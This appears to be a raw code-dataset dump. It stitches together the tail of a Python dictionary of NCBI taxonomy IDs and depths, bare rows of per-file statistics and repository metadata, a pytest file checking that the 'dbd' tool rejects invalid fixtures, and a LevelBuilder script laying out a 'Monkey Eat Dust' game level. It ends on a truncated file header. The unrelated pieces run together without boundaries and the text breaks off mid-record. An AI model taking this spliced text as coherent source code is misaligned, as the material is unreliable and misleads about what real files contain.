'314146': 'Euarchontoglires', '33208': 'Metazoa', '7711': 'Chordata', '3699': 'Brassicales', '11157': 'Mononegavirales', '302485': 'Phaeobacter', '206350': 'Nitrosomonadales', '206351': 'Neisseriales', '2': 'Bacteria', '422676': 'Aconoidasida', '41294': 'Bradyrhizobiaceae', '10404': 'Hepadnaviridae', '58840': 'unclassified Rhodobacteraceae', '539002': 'Bacillales incertae sedis', '167375': 'Cyanobium', '118884': 'unclassified Gammaproteobacteria', '213481': 'Bdellovibrionales', '7214': 'Drosophilidae', '118882': 'Brucellaceae', '200783': 'Aquificae', '28890': 'Euryarchaeota', '2759': 'Eukaryota', '33342': 'Paraneoptera', '10474': 'Fuselloviridae', '10477': 'Lipothrixviridae', '68295': 'Thermoanaerobacterales', '200918': 'Thermotogae', '622450': 'Actinopolysporales', '558415': 'Marinilabiliaceae', '464095': 'Picornavirales', '201174': 'Actinobacteria', '526524': 'Erysipelotrichia', '155619': 'Agaricomycetes', '452284': 'Ustilaginomycotina', '186801': 'Clostridia', '186807': 'Peptococcaceae', '186806': 'Eubacteriaceae', '772': 'Bartonellaceae', '267889': 'Colwelliaceae', '267888': 'Pseudoalteromonadaceae', '909932': 'Negativicutes', '157897': 'Rudiviridae', '1762': 'Mycobacteriaceae', '1142': 'Synechocystis', '311790': 'Afrotheria', '34008': 'Rhodovulum', '1268': 'Micrococcaceae', '191675': 'unclassified Enterobacteriaceae', '74385': 'Gracilibacillus', '8782': 'Aves', '34397': 'Clavicipitaceae', '32061': 'Chloroflexia', '60136': 'Sulfitobacter', '1303': 'Streptococcus oralis', '69657': 'Hyphomonadaceae', '178469': 'Arenibacter', '544': 'Citrobacter', '216572': 'Oscillospiraceae', '554915': 'Amoebozoa', '39782': 'Blattabacteriaceae', '1313': 'Streptococcus pneumoniae', '671232': 'Streptococcus anginosus group', '5148': 'Sordariaceae', '10': 'Cellvibrio', '7399': 'Hymenoptera', '189775': 'Thermomicrobia', '204037': 'Dickeya', '9989': 'Rodentia', '118969': 'Legionellales', '206389': 'Rhodocyclales', '85008': 'Micromonosporales', '85009': 'Propionibacteriales', '1386': 'Bacillus', '2063': 'Kitasatospora', '85004': 'Bifidobacteriales', '85005': 'Actinomycetales', '61432': 'unclassified Flavobacteriaceae', '200643': 'Bacteroidia', '830': 'Butyrivibrio', '995019': 'Sutterellaceae', '35325': 'dsRNA viruses', '33154': 'Opisthokonta', '439488': 'ssRNA viruses', '768503': 'Cytophagia', '183939': 'Methanococci', '1239': 'Firmicutes', '74030': 'Roseovarius', '53433': 'Halanaerobiales', '9397': 'Chiroptera', '69277': 'Phyllobacteriaceae', '4751': 'Fungi', '200940': 'Thermodesulfobacteria', '104264': 'Cellulophaga', '10860': 'Inoviridae', '119089': 'Chromadorea', '301297': 'Dehalococcoidia', '252356': 'Maribacter', '90964': 'Staphylococcaceae', '326457': 'unclassified Verrucomicrobia', '29547': 'Epsilonproteobacteria', '147550': 'Sordariomycetes', '255475': 'Aurantimonadaceae', '506': 'Alcaligenaceae', '1212': 'Prochloraceae', '31979': 'Clostridiaceae', '468': 'Moraxellaceae', '46205': 'Pseudobutyrivibrio', '191028': 'Leisingera', '4447': 'Liliopsida', '1164882': 'Lachnoanaerobaculum', '5653': 'Kinetoplastida', '544448': 'Tenericutes', '85012': 'Streptosporangiales', '326319': 'Dokdonia', '81850': 'Leuconostocaceae', '81852': 'Enterococcaceae', '28211': 'Alphaproteobacteria', '11632': 'Retroviridae', '33183': 'Onygenales', '68298': 'Syntrophomonadaceae', '119065': 'unclassified Burkholderiales', '119066': 'unclassified Betaproteobacteria', '119060': 'Burkholderiaceae', '203494': 'Verrucomicrobiae', '119069': 'Hydrogenophilales', '110618': 'Nectriaceae', '59732': 'Chryseobacterium', '142182': 'Gemmatimonadetes', '150247': 'Anoxybacillus', '35493': 'Streptophyta', '5204': 'Basidiomycota', '5878': 'Ciliophora', '213462': 'Syntrophobacterales', '451866': 'Taphrinomycotina', '451867': 'Dothideomycetidae', '183967': 'Thermoplasmata', '183963': 'Halobacteria', '766': 'Rickettsiales', '183968': 'Thermococci', '75682': 'Oxalobacteraceae', '3041': 'Chlorophyta', '265975': 'Oribacterium', '2323': 'unclassified Bacteria', '508458': 'Synergistetes', '5809': 'Sarcocystidae', '69541': 'Desulfuromonadales', '52018': 'unclassified Actinobacteria (class)', '1090': 'Chlorobi', '1150': 'Oscillatoriales', '265': 'Paracoccus', '7898': 'Actinopterygii', '68525': 'delta/epsilon subdivisions', '72273': 'Thiotrichales', '203691': 'Spirochaetes', '72275': 'Alteromonadaceae', '4893': 'Saccharomycetaceae', '4891': 'Saccharomycetes', '4890': 'Ascomycota', '35718': 'Chaetomiaceae', '186804': 'Peptostreptococcaceae', '34037': 'Rahnella', '1570339': 'Peptoniphilaceae', '355688': 'Agaricomycetes incertae sedis', '246874': 'Cryomorphaceae', '35268': 'Retro-transcribing viruses', '91835': 'fabids', '204432': 'Acidobacteriia', '5129': 'Hypocreaceae', '5125': 'Hypocreales', '8459': 'Testudines', '639021': 'Magnaporthales', '363408': 'Nonlabens', '53335': 'Pantoea', '213118': 'Desulfobacterales', '1506553': 'Lachnoclostridium', '213115': 'Desulfovibrionales', '213113': 'Desulfurellales', '9263': 'Metatheria', '80864': 'Comamonadaceae', '183925': 'Methanobacteria', '5338': 'Agaricales', '135618': 'Methylococcales', '283735': 'Leeuwenhoekiella', '5234': 'Tremellales', '5151': 'Ophiostomatales', '5863': 'Piroplasmida', '561': 'Escherichia', '189330': 'Dorea', '186828': 'Carnobacteriaceae', '186821': 'Sporolactobacillaceae', '186820': 'Listeriaceae', '186823': 'Alicyclobacillaceae', '186822': 'Paenibacillaceae', '32066': 'Fusobacteria', '186824': 'Thermoactinomycetaceae', '186827': 'Aerococcaceae', '29000': 'Pucciniomycotina', '1189': 'Stigonemataceae', '7088': 'Lepidoptera', '122277': 'Pectobacterium', '147541': 'Dothideomycetes', '147545': 'Eurotiomycetes', '147548': 'Leotiomycetes', '97050': 'Ruegeria', '1283313': 'Alloprevotella', '1161': 'Nostocales', '2433': 'Roseobacter', '171551': 'Porphyromonadaceae', '171550': 'Rikenellaceae', '335928': 'Xanthobacteraceae', '40674': 'Mammalia', '244698': 'Gillisia', '74201': 'Verrucomicrobia', '1117': 'Cyanobacteria', '1297': 'Deinococcus-Thermus', '1511857': 'Ligamenvirales', '9604': 'Hominidae', '1357': 'Lactococcus', '35301': 'ssRNA negative-strand viruses', '52604': 'Pleurocapsales', '5042': 'Eurotiales', '4776': 'Peronosporales', '204457': 'Sphingomonadales', '538999': 'Clostridiales incertae sedis', '204458': 'Caulobacterales', '7742': 'Vertebrata', '6236': 'Rhabditida', '6231': 'Nematoda'} LEVEL_DEPTH={'35237': 3, '358033': 10, '11989': 5, '200930': 4, '119603': 10, '76804': 5, '117743': 7, '451870': 12, '186818': 8, '815': 9, '204428': 5, '33554': 24, '6656': 11, '57723': 4, '60136': 8, '135619': 6, '135625': 6, '135624': 6, '135623': 6, '43988': 10, '766764': 12, '33958': 8, '28037': 10, '5796': 7, '183980': 5, '1016': 10, '203682': 5, '1236': 5, '186928': 9, '200795': 5, '38820': 16, '85020': 8, '85021': 8, '85023': 8, '85025': 8, '85026': 8, '224756': 5, '9263': 21, '45667': 9, '35278': 4, '121069': 6, '400634': 9, '5139': 14, '112252': 6, '32199': 8, '1100069': 7, '28889': 5, '28883': 4, '225057': 6, '178469': 10, '541000': 8, '33213': 7, '245186': 8, '182709': 9, '117747': 7, '547': 8, '10841': 4, '76831': 10, '651137': 5, '5819': 7, '5794': 5, '414999': 6, '629295': 10, '40117': 4, '554915': 4, '84406': 9, '186813': 8, '551': 8, '91061': 6, '267894': 7, '75682': 7, '237': 10, '267890': 7, '267893': 7, '1': 1, '136849': 9, '136841': 9, '548681': 4, '136843': 9, '136845': 9, '136846': 9, '613': 8, '9443': 24, '285107': 8, '34383': 14, '34384': 14, '119060': 7, '45401': 7, '289201': 9, '45404': 7, '572511': 9, '129337': 9, '1305': 10, '1307': 10, '84998': 6, '84995': 6, '84992': 6, '10699': 5, '314294': 28, '82115': 7, '82117': 6, '91561': 24, '50557': 15, '119045': 7, '119043': 7, '29': 7, '85019': 8, '85018': 8, '2157': 3, '10662': 5, '28216': 5, '85010': 7, '85013': 7, '10744': 5, '85014': 7, '85017': 8, '85016': 8, '33090': 4, '52959': 10, '713636': 6, '31993': 7, '83612': 10, '71274': 16, '1060': 8, '92860': 14, '1028384': 14, '256005': 7, '10239': 2, '290174': 10, '82986': 8, '93682': 8, '1653': 8, '586': 8, '675063': 5, '583': 8, '976': 6, '423358': 4, '135613': 6, '135614': 6, '2836': 5, '308865': 10, '1386': 9, '33867': 5, '32003': 6, '7148': 21, '68892': 10, '7147': 20, '228398': 9, '1224': 4, '1129': 9, '629': 8, '10656': 4, '314146': 23, '7711': 9, '3699': 18, '11157': 5, '302485': 8, '206350': 6, '206351': 6, '2': 3, '422676': 6, '41294': 7, '10404': 4, '58840': 8, '539002': 8, '167375': 9, '118884': 6, '213481': 6, '7214': 28, '118882': 7, '200783': 4, '28890': 4, '2759': 3, '33342': 19, '10474': 4, '10477': 5, '68295': 7, '68298': 8, '622450': 7, '558415': 9, '464095': 5, '201174': 5, '526524': 6, '155619': 9, '452284': 8, '186801': 6, '186807': 8, '186806': 8, '186804': 8, '267889': 7, '267888': 7, '909932': 6, '157897': 5, '1762': 8, '1142': 9, '311790': 22, '34008': 8, '1268': 8, '191675': 8, '74385': 9, '8782': 27, '34397': 15, '186822': 8, '1303': 10, '69657': 7, '252301': 8, '544': 8, '216572': 8, '145357': 8, '39782': 9, '1313': 10, '671232': 10, '5148': 15, '10': 8, '7399': 20, '189775': 6, '204037': 8, '9989': 25, '118969': 6, '206389': 6, '85008': 7, '85009': 7, '28221': 6, '2063': 9, '85004': 7, '85005': 7, '61432': 10, '200643': 7, '830': 9, '995019': 7, '35325': 3, '33154': 4, '439488': 3, '768503': 7, '183939': 5, '1239': 5, '74030': 8, '53433': 7, '31979': 8, '69277': 7, '4751': 5, '200940': 4, '104264': 10, '10860': 4, '119089': 11, '301297': 6, '252356': 10, '90964': 8, '326457': 6, '29547': 6, '147550': 12, '255475': 7, '506': 7, '1212': 8, '9397': 24, '468': 7, '46205': 9, '191028': 8, '4447': 13, '1164882': 9, '5653': 5, '544448': 5, '85012': 7, '326319': 10, '81850': 8, '81852': 8, '28211': 5, '11632': 4, '33183': 13, '200918': 4, '119065': 7, '119066': 6, '204441': 6, '203494': 6, '119069': 6, '110618': 15, '59732': 10, '142182': 5, '150247': 9, '35493': 5, '5204': 7, '5878': 5, '213462': 7, '451866': 8, '451867': 13, '183967': 5, '183963': 5, '766': 6, '183968': 5, '3041': 5, '265975': 9, '2323': 4, '508458': 4, '5809': 10, '69541': 7, '52018': 7, '1090': 6, '1150': 8, '265': 8, '7898': 15, '68525': 5, '72273': 6, '203691': 4, '72275': 7, '4893': 12, '4891': 10, '4890': 7, '9604': 29, '772': 7, '34037': 8, '1570339': 8, '355688': 10, '246874': 9, '35268': 3, '91835': 17, '204432': 5, '5129': 15, '5125': 14, '8459': 22, '639021': 14, '363408': 10, '53335': 8, '213118': 7, '1506553': 9, '213115': 7, '213113': 7, '33208': 5, '80864': 7, '183925': 5, '5338': 11, '135618': 6, '29258': 3, '5234': 10, '5151': 14, '5863': 7, '561': 8, '189330': 9, '186828': 8, '186821': 8, '186820': 8, '186823': 8, '32061': 6, '32066': 4, '186824': 8, '186827': 8, '29000': 8, '1189': 8, '7088': 21, '122277': 8, '283735': 10, '147541': 12, '147545': 11, '147548': 12, '97050': 8, '1283313': 10, '1161': 7, '2433': 8, '171551': 9, '171550': 9, '335928': 7, '40674': 19, '244698': 10, '74201': 5, '1117': 6, '1297': 5, '1511857': 4, '35718': 15, '1357': 9, '35301': 4, '52604': 7, '5042': 13, '4776': 6, '204457': 6, '538999': 8, '590': 8, '204458': 6, '7742': 11, '6236': 12, '6231': 10}
14,603.833333
30,945
0.560321
9,558
87,623
5.136221
0.097301
0.099813
0.082132
0.062332
0.950196
0.950196
0.950196
0.950196
0.950196
0.950196
0
0.488026
0.108864
87,623
5
30,946
17,524.6
0.140682
0
0
0
0
0
0.556201
0.004382
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
1
0
0
1
1
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
11
dcdaf843257ddf4419021f36b22ce3738b6d3bf1
6,351
py
Python
tests/test_errors.py
AlexRogalskiy/dbd
ac2c6fb673861321b23fbf2a57d9e39fa5cb5352
[ "BSD-3-Clause" ]
33
2022-01-09T09:32:17.000Z
2022-03-05T18:52:11.000Z
tests/test_errors.py
zsvoboda/dbd
ac2c6fb673861321b23fbf2a57d9e39fa5cb5352
[ "BSD-3-Clause" ]
2
2022-02-16T19:14:13.000Z
2022-02-16T19:14:34.000Z
tests/test_errors.py
zsvoboda/dbd
ac2c6fb673861321b23fbf2a57d9e39fa5cb5352
[ "BSD-3-Clause" ]
null
null
null
from dbd.config.dbd_profile import DbdProfile from dbd.config.dbd_project import DbdProject from dbd.db.db_table import DbTableCreationException from dbd.executors.model_executor import ModelExecutor from dbd.tasks.data_task import DbdInvalidDataFileFormatException, DbdDataLoadError, \ DbdInvalidDataFileReferenceException from dbd.utils.sql_parser import SQlParserException def test_validate_invalid(): profile = DbdProfile.load('./tests/fixtures/capabilities/dbd.profile') project = DbdProject.load(profile, 'tests/fixtures/errors/invalid_model/dbd.project') model = ModelExecutor(project) validation_result, validation_errors = model.validate() assert not validation_result def test_validate_invalid_sql(): profile = DbdProfile.load('./tests/fixtures/errors/dbd.profile') project = DbdProject.load(profile, 'tests/fixtures/errors/invalid_sql/dbd.project') model = ModelExecutor(project) try: validation_result, validation_errors = model.validate() except SQlParserException as e: print(e) assert True else: assert False def test_execute_invalid_sql(): profile = DbdProfile.load('./tests/fixtures/errors/dbd.profile') project = DbdProject.load(profile, 'tests/fixtures/errors/invalid_sql/dbd.project') model = ModelExecutor(project) engine = project.alchemy_engine_from_project() try: model.execute(engine) except SQlParserException as e: print(e) assert True else: assert False def test_execute_invalid_json(): profile = DbdProfile.load('./tests/fixtures/errors/dbd.profile') project = DbdProject.load(profile, 'tests/fixtures/errors/invalid_json/dbd.project') model = ModelExecutor(project) engine = project.alchemy_engine_from_project() try: model.execute(engine) except DbdInvalidDataFileFormatException as e: print(e) assert True else: assert False def test_execute_invalid_json2(): profile = DbdProfile.load('./tests/fixtures/errors/dbd.profile') project = DbdProject.load(profile, 'tests/fixtures/errors/invalid_json2/dbd.project') model = ModelExecutor(project) engine = project.alchemy_engine_from_project() try: model.execute(engine) except DbdInvalidDataFileFormatException as e: print(e) assert True else: assert False def test_execute_invalid_json3(): profile = DbdProfile.load('./tests/fixtures/errors/dbd.profile') project = DbdProject.load(profile, 'tests/fixtures/errors/invalid_json3/dbd.project') model = ModelExecutor(project) engine = project.alchemy_engine_from_project() try: model.execute(engine) except DbdInvalidDataFileFormatException as e: print(e) assert True else: assert False def test_execute_invalid_fk(): profile = DbdProfile.load('./tests/fixtures/errors/dbd.profile') project = DbdProject.load(profile, 'tests/fixtures/errors/invalid_fk/dbd.project') model = ModelExecutor(project) engine = project.alchemy_engine_from_project() try: model.execute(engine) except DbTableCreationException as e: print(e) assert True else: assert False def test_execute_invalid_data_fk(): profile = DbdProfile.load('./tests/fixtures/errors/dbd.profile') project = DbdProject.load(profile, 'tests/fixtures/errors/invalid_data_fk/dbd.project') model = ModelExecutor(project) engine = project.alchemy_engine_from_project() try: model.execute(engine) except DbdDataLoadError as e: print(e) assert True else: assert False def test_execute_invalid_csv(): profile = DbdProfile.load('./tests/fixtures/errors/dbd.profile') project = DbdProject.load(profile, 'tests/fixtures/errors/invalid_csv/dbd.project') model = ModelExecutor(project) engine = project.alchemy_engine_from_project() try: model.execute(engine) except DbdInvalidDataFileFormatException as e: print(e) assert True else: assert False def test_execute_invalid_excel(): profile = DbdProfile.load('./tests/fixtures/errors/dbd.profile') project = DbdProject.load(profile, 'tests/fixtures/errors/invalid_excel/dbd.project') model = ModelExecutor(project) engine = project.alchemy_engine_from_project() try: model.execute(engine) except DbdInvalidDataFileFormatException as e: print(e) assert True else: assert False def test_execute_invalid_ref(): profile = DbdProfile.load('./tests/fixtures/errors/dbd.profile') project = DbdProject.load(profile, 'tests/fixtures/errors/invalid_ref/dbd.project') model = ModelExecutor(project) engine = project.alchemy_engine_from_project() try: model.execute(engine) except DbdInvalidDataFileReferenceException as e: print(e) assert True else: assert False def test_execute_invalid_ref2(): profile = DbdProfile.load('./tests/fixtures/errors/dbd.profile') project = DbdProject.load(profile, 'tests/fixtures/errors/invalid_ref2/dbd.project') model = ModelExecutor(project) engine = project.alchemy_engine_from_project() try: model.execute(engine) except DbdInvalidDataFileReferenceException as e: print(e) assert True else: assert False def test_execute_invalid_number_format(): profile = DbdProfile.load('./tests/fixtures/errors/dbd.profile') project = DbdProject.load(profile, 'tests/fixtures/errors/invalid_number_format/dbd.project') model = ModelExecutor(project) engine = project.alchemy_engine_from_project() try: model.execute(engine) except DbdInvalidDataFileFormatException as e: print(e) assert True else: assert False def test_execute_invalid_date_format(): profile = DbdProfile.load('./tests/fixtures/errors/dbd.profile') project = DbdProject.load(profile, 'tests/fixtures/errors/invalid_date_format/dbd.project') model = ModelExecutor(project) engine = project.alchemy_engine_from_project() try: model.execute(engine) except DbdInvalidDataFileFormatException as e: print(e) assert True else: assert False
32.238579
97
0.713588
707
6,351
6.257426
0.084866
0.082278
0.115958
0.082278
0.878843
0.863246
0.842902
0.842902
0.842902
0.842902
0
0.001171
0.192883
6,351
196
98
32.403061
0.861881
0
0
0.779762
0
0
0.182176
0.182176
0
0
0
0
0.160714
1
0.083333
false
0
0.035714
0
0.119048
0.077381
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
dcfbc6fa98e924de934b1dea6d1ad82d6d7c005a
10,233
py
Python
utils/scripts/OOOlevelGen/src/levels/Monkey_Eat_Dust.py
fullscreennl/monkeyswipe
c56192e202674dd5ab18023f6cf14cf51e95fbd0
[ "MIT" ]
null
null
null
utils/scripts/OOOlevelGen/src/levels/Monkey_Eat_Dust.py
fullscreennl/monkeyswipe
c56192e202674dd5ab18023f6cf14cf51e95fbd0
[ "MIT" ]
null
null
null
utils/scripts/OOOlevelGen/src/levels/Monkey_Eat_Dust.py
fullscreennl/monkeyswipe
c56192e202674dd5ab18023f6cf14cf51e95fbd0
[ "MIT" ]
null
null
null
import LevelBuilder from sprites import * def render(name,bg): lb = LevelBuilder.LevelBuilder(name+".plist",background=bg) lb.addObject(Beam.BeamSprite(x=7, y=24,width=46,height=4,angle='90',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=45, y=24,width=46,height=4,angle='90',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=38, y=41,width=27,height=4,angle='45',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=18, y=41,width=27,height=4,angle='-30',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=79, y=33,width=27,height=4,angle='135',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=79, y=13,width=27,height=4,angle='60',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=61, y=11,width=27,height=4,angle='-45',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=61, y=31,width=27,height=4,angle='-120',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=95, y=24,width=46,height=4,angle='90',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=111, y=25,width=54,height=4,angle='-60',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=127, y=25,width=46,height=4,angle='90',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=137, y=25,width=46,height=4,angle='90',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=149, y=14,width=27,height=4,angle='-45',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=149, y=34,width=27,height=4,angle='-120',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=206, y=14,width=29,height=4,angle='90',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=164, y=24,width=46,height=4,angle='90',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=177, y=45,width=27,height=4,angle='-180',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=177, y=5,width=27,height=4,angle='-180',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=177, y=24,width=27,height=4,angle='-180',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=215, y=33,width=27,height=4,angle='45',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=195, y=33,width=27,height=4,angle='-30',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=363, y=24,width=46,height=4,angle='90',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=376, y=36,width=27,height=4,angle='135',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=376, y=16,width=27,height=4,angle='60',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=393, y=24,width=46,height=4,angle='105',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=246, y=24,width=46,height=4,angle='90',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=259, y=45,width=27,height=4,angle='-180',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=259, y=5,width=27,height=4,angle='-180',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=259, y=24,width=27,height=4,angle='-180',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=421, y=24,width=46,height=4,angle='90' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=435, y=23,width=27,height=4,angle='135',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=439, y=7,width=16,height=4,angle='60',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=432, y=38,width=16,height=4,angle='60',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=409, y=3,width=27,height=4,angle='-180',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=303, y=25,width=54,height=4,angle='-75',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=288, y=25,width=54,height=4,angle='-105',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=295, y=17,width=27,height=4,angle='-180',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=322, y=24,width=46,height=4,angle='90',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=322, y=50,width=36,height=4,angle='-165',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=460, y=24,width=46,height=4,angle='90',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Beam.BeamSprite(x=460, y=50,width=36,height=4,angle='-165',restitution=0.2,static='true',friction=0.5,density=20 ).setName('Beam')) lb.addObject(Enemy.EnemySprite(x=414, y=64,width=32,height=32,angle='0',restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Enemy.EnemySprite(x=317, y=61,width=21,height=21,angle='0',restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Enemy.EnemySprite(x=196, y=61,width=21,height=21,angle='0',restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Enemy.EnemySprite(x=71, y=22,width=18,height=18,angle='0',restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=368, y=85,width=164,height=7,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=151, y=98,width=164,height=7,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=279, y=159,width=164,height=7,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=162, y=220,width=164,height=7,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=387, y=271,width=164,height=7,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Star.StarSprite(x=408, y=14,width=16,height=16)) lb.addObject(Hero.HeroSprite(x=104, y=251,width=32,height=32)) lb.addObject(Beam.BeamSprite(x=310, y=122,width=64,height=6,angle='90' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=205, y=128,width=50,height=6,angle='90' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=223, y=189,width=50,height=6,angle='90' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=337, y=215,width=100,height=6,angle='90' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=99, y=159,width=113,height=6,angle='90' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=440, y=177,width=176,height=6,angle='90' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=273, y=178,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=305, y=178,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=294, y=205,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=262, y=214,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=282, y=237,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=254, y=251,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=226, y=242,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=282, y=264,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=254, y=275,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=310, y=231,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=243, y=190,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=230, y=133,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=290, y=137,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=289, y=107,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=318, y=205,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.addObject(Beam.BeamSprite(x=98, y=74,width=21,height=20,angle='0' ,restitution=0.2,static='false',friction=0.5,density=20 )) lb.render()
10,233
10,233
0.737516
1,850
10,233
4.079459
0.082703
0.107857
0.124023
0.181264
0.932291
0.926593
0.926593
0.913343
0.913343
0.913343
0
0.121035
0.032737
10,233
1
10,233
10,233
0.641443
0
0
0
0
0
0.062634
0
0
0
0
0
0
1
0.012658
false
0
0.025316
0
0.037975
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
1
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
0d1948dc685a2ed6b716c0e9ce6c46f7ac680176
55
py
Python
wms/encryption/__init__.py
minhlong94/SWE_IT1706IU
8ab5004abbd1965a14088f608a600726dfd6ca83
[ "MIT" ]
null
null
null
wms/encryption/__init__.py
minhlong94/SWE_IT1706IU
8ab5004abbd1965a14088f608a600726dfd6ca83
[ "MIT" ]
null
null
null
wms/encryption/__init__.py
